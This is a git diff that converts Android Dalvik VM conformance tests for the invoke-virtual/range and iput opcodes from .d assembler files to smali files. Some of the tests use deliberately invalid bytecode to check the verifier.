+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_6.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_6
-.super dot/junit/opcodes/invoke_virtual_range/ATest
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/ATest/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/ATest/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali
new file mode 100644
index 0000000..cd5e8a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6;
+.super  Ldot/junit/opcodes/invoke_virtual_range/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/ATest;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.d
deleted file mode 100644
index b5c44f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_7.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_7
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali
new file mode 100644
index 0000000..643a5d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.d
deleted file mode 100644
index e2538f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_8.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual/range {v6..v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali
new file mode 100644
index 0000000..a96c49c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.d
deleted file mode 100644
index 393f733..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_9.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual/range {v7..v8}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali
new file mode 100644
index 0000000..71441ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v7..v8}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.d
deleted file mode 100644
index 062a5f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_1.java
-.class public dot.junit.opcodes.iput.d.T_iput_1
-.super java/lang/Object
-
-.field public  st_i1 I
-.field protected  st_p1 I
-.field private  st_pvt1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()I
-.limit regs 2
-
-       iget v0, v1, dot.junit.opcodes.iput.d.T_iput_1.st_pvt1 I
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_1.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali
new file mode 100644
index 0000000..0d066a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_1.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+.field protected  st_p1:I
+.field private  st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()I
+.registers 2
+
+       iget v0, v1, Ldot/junit/opcodes/iput/d/T_iput_1;->st_pvt1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.d
deleted file mode 100644
index 782486a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_10.java
-.class public dot.junit.opcodes.iput.d.T_iput_10
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_10.st_i1N I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali
new file mode 100644
index 0000000..1e73685
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_10.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_10;->st_i1N:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.d
deleted file mode 100644
index 9fb06de..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_11.java
-.class public dot.junit.opcodes.iput.d.T_iput_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput/TestStubs/<init>()V
-
-       const v1, 1000000
-       iput v1, v0, dot.junit.opcodes.iput.TestStubs.TestStubFieldFinal I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali
new file mode 100644
index 0000000..7f8e05d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_11.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/TestStubs;-><init>()V
+
+       const v1, 1000000
+       iput v1, v0, Ldot/junit/opcodes/iput/TestStubs;->TestStubFieldFinal:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.d
deleted file mode 100644
index 73104b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_12.java
-.class public dot.junit.opcodes.iput.d.T_iput_12
-.super java/lang/Object
-
-.field public final st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_12.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali
new file mode 100644
index 0000000..680708c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_12.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_12;
+.super  Ljava/lang/Object;
+
+.field public final st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_12;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.d
deleted file mode 100644
index 3760a4f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_13.java
-.class public dot.junit.opcodes.iput.d.T_iput_13
-.super java/lang/Object
-
-.field public  st_i1 I
-.field protected  st_p1 I
-.field private  st_pvt1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       const v1, 1000000
-       iput v1, v0, dot.junit.opcodes.iput.d.T_iput_13.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali
new file mode 100644
index 0000000..5b459ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_13.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+.field protected  st_p1:I
+.field private  st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 1000000
+       iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_13;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.d
deleted file mode 100644
index ba404d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_14.java
-.class public dot.junit.opcodes.iput.d.T_iput_14
-.super dot/junit/opcodes/iput/d/T_iput_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput/d/T_iput_1/<init>()V
-       return-void
-.end method
-
-.method public getProtectedField()I
-.limit regs 2
-
-       iget v0, v1, dot.junit.opcodes.iput.d.T_iput_1.st_p1 I
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_1.st_p1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali
new file mode 100644
index 0000000..4ab5761
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_14.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_14;
+.super  Ldot/junit/opcodes/iput/d/T_iput_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/d/T_iput_1;-><init>()V
+       return-void
+.end method
+
+.method public getProtectedField()I
+.registers 2
+
+       iget v0, v1, Ldot/junit/opcodes/iput/d/T_iput_1;->st_p1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_p1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.d
deleted file mode 100644
index 8864195..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_15.java
-.class public dot.junit.opcodes.iput.d.T_iput_15
-.super dot/junit/opcodes/iput/d/T_iput_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput/d/T_iput_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 12321
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_1.st_pvt1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali
new file mode 100644
index 0000000..d518b3a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_15.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_15;
+.super  Ldot/junit/opcodes/iput/d/T_iput_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/d/T_iput_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 12321
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_pvt1:I
+       return-void
+.end method
+
+
